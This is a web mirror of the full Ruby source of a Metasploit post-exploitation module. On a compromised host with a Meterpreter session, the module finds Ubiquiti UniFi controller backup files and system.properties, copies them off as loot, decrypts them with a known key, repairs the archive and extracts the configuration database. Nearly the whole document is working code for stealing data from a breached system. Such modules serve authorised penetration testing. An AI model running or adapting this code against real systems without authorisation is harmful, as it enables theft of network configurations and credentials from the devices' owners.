CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/ubiquiti_unifi_backup.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
include Msf::Post::OSX::System
12
include Msf::Auxiliary::Ubiquiti
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Multi Gather Ubiquiti UniFi Controller Backup',
19
'Description' => %q{
20
On an Ubiquiti UniFi controller, reads the system.properties configuration file
21
and downloads the backup and autobackup files. The files are then decrypted using
22
a known encryption key, then attempted to be repaired by zip. Meterpreter must be
23
used due to the large file sizes, which can be flaky on regular shells to read.
24
Confirmed to work on 5.10.19 - 5.10.23, but most likely quite a bit more.
25
If the zip can be repaired, the db and its information will be extracted.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'h00die', # metasploit module
30
'zhangyoufu', # git scripts
31
'justingist' # git script
32
],
33
'Platform' => [ 'linux', 'win', 'osx' ],
34
'SessionTypes' => %w[meterpreter],
35
'References' => [
36
['URL', 'https://github.com/zhangyoufu/unifi-backup-decrypt/'],
37
['URL', 'https://github.com/justingist/POSH-Ubiquiti/blob/master/Posh-UBNT.psm1'],
38
['URL', 'https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation'],
39
['URL', 'https://community.ubnt.com/t5/UniFi-Wireless/unf-controller-backup-file-format/td-p/1624105']
40
]
41
)
42
)
43
44
register_options([
45
OptPath.new('SYSTEMFILE', [false, 'Custom system.properties file location']),
46
OptPath.new('BACKUPFOLDER', [false, 'Custom backup folder']),
47
])
48
end
49
50
def find_save_files(d)
51
case session.platform
52
when 'windows'
53
files = session.fs.dir.foreach(d)
54
else
55
# when 'linux', 'osx', 'unifi'
56
# osx will have a space in it by default, so we wrap the directory in quotes
57
files = cmd_exec("ls '#{d}'").split(/\r\n|\r|\n/)
58
end
59
files.each do |file|
60
full = "#{d}/#{file}"
61
if directory?(full) && !['.', '..'].include?(file)
62
find_save_files(full)
63
next
64
end
65
66
unless file.end_with? '.unf'
67
next
68
end
69
70
f = read_file(full)
71
if f.nil?
72
print_error("#{full} read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!")
73
next
74
end
75
loot_path = store_loot('ubiquiti.unifi.backup', 'application/zip', session,
76
f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip')
77
print_good("File #{full} saved to #{loot_path}")
78
decrypted_data = decrypt_unf(f)
79
if decrypted_data.nil? || decrypted_data.empty?
80
print_error("Unable to decrypt #{loot_path}")
81
next
82
end
83
loot_path = store_loot('ubiquiti.unifi.backup_decrypted', 'application/zip', session,
84
decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip')
85
print_good("File #{file} DECRYPTED and saved to #{loot_path}. File needs to be repair via `zip -FF`")
86
# ruby zip can't repair, we can try on command line but its not likely to succeed on all platforms
87
# tested on kali
88
repaired = repair_zip(loot_path)
89
if repaired.nil?
90
fail_with Failure::Unknown, "Repair failed on #{loot_path.path}"
91
end
92
loot_path = store_loot('ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session,
93
repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip')
94
print_good("File #{full} DECRYPTED and REPAIRED and saved to #{loot_path}.")
95
config_db = extract_and_process_db(loot_path)
96
if config_db.nil?
97
fail_with Failure::Unknown, 'Unable to locate db.gz config database file'
98
end
99
print_status('Converting BSON to JSON.')
100
unifi_config_db_json = bson_to_json(config_db)
101
102
if unifi_config_db_json == {}
103
fail_with Failure::Unknown, 'Error in file conversion from BSON to JSON.'
104
end
105
unifi_config_eater(session.session_host, session.session_port, unifi_config_db_json)
106
end
107
end
108
109
def run
110
backup_locations = []
111
sprop_locations = []
112
113
vprint_status('OS Detected: %s' % session.platform)
114
115
case session.platform
116
when 'windows'
117
grab_user_profiles.each do |user|
118
backup_locations << "#{user['ProfileDir']}\\Ubiquiti Unifi\\data\\backup"
119
sprop_locations << "#{user['ProfileDir']}\\Ubiquiti UniFi\\data\\system.properties"
120
end
121
when 'osx'
122
# https://github.com/rapid7/metasploit-framework/pull/11548#issuecomment-472568795
123
get_users.each do |user|
124
backup_locations << "/Users/#{user['name']}/Library/Application Support/UniFi/data/backup"
125
sprop_locations << "/Users/#{user['name']}/Library/Application Support/Unifi/data/system.properties"
126
end
127
else # linux, or a similar device from ubiquiti
128
# https://help.ubnt.com/hc/en-us/articles/226218448-UniFi-How-to-Configure-Auto-Backup
129
backup_locations = [
130
'/data/autobackup', # Cloud key
131
'/var/lib/unifi/backup', # software install linux
132
'/mnt/data/unifi/data/backup' # UDM-PRO (possibly UDM as well)
133
]
134
135
sprop_locations = [
136
'/var/lib/unifi/system.properties', # default location on 5.10.19 on ubuntu 18.04
137
'/mnt/data/unifi/data/system.properties' # UDM-Pro (possibly UDM as well)
138
]
139
end
140
141
# read system.properties
142
if datastore['SYSTEMFILE']
143
sprop = datastore['SYSTEMFILE']
144
vprint_status("Utilizing custom system.properties file location: #{datastore['SYSTEMFILE']}")
145
end
146
147
print_status('Attempting to read system.properties file to determine backup locations.')
148
# https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation
149
sprop_locations.each do |sprop|
150
next unless exists?(sprop)
151
152
begin
153
data = read_file(sprop)
154
loot_path = store_loot('ubiquiti.system.properties', 'text/plain', session, data, sprop)
155
vprint_status("File #{sprop} saved to #{loot_path}")
156
print_good("Read UniFi Controller file #{sprop}")
157
rescue Rex::Post::Meterpreter::RequestError => e
158
print_error("Failed to read #{sprop}")
159
data = ''
160
end
161
data.each_line do |line|
162
if !(line.chomp.empty? || line =~ /^#/) && /^autobackup\.dir\s*=\s*(?<d>.+)$/ =~ line
163
backup_locations.append(d.strip)
164
vprint_status("Custom autobackup directory identified: #{d.strip}")
165
end
166
end
167
end
168
169
print_status('Attempting to locate and read backup files.')
170
backup_locations.each do |bl|
171
if !directory?(bl)
172
vprint_error("Directory doesn't exist: #{bl}")
173
next
174
end
175
176
vprint_good("Found backup folder: #{bl}")
177
find_save_files(bl)
178
end
179
end
180
end
181
182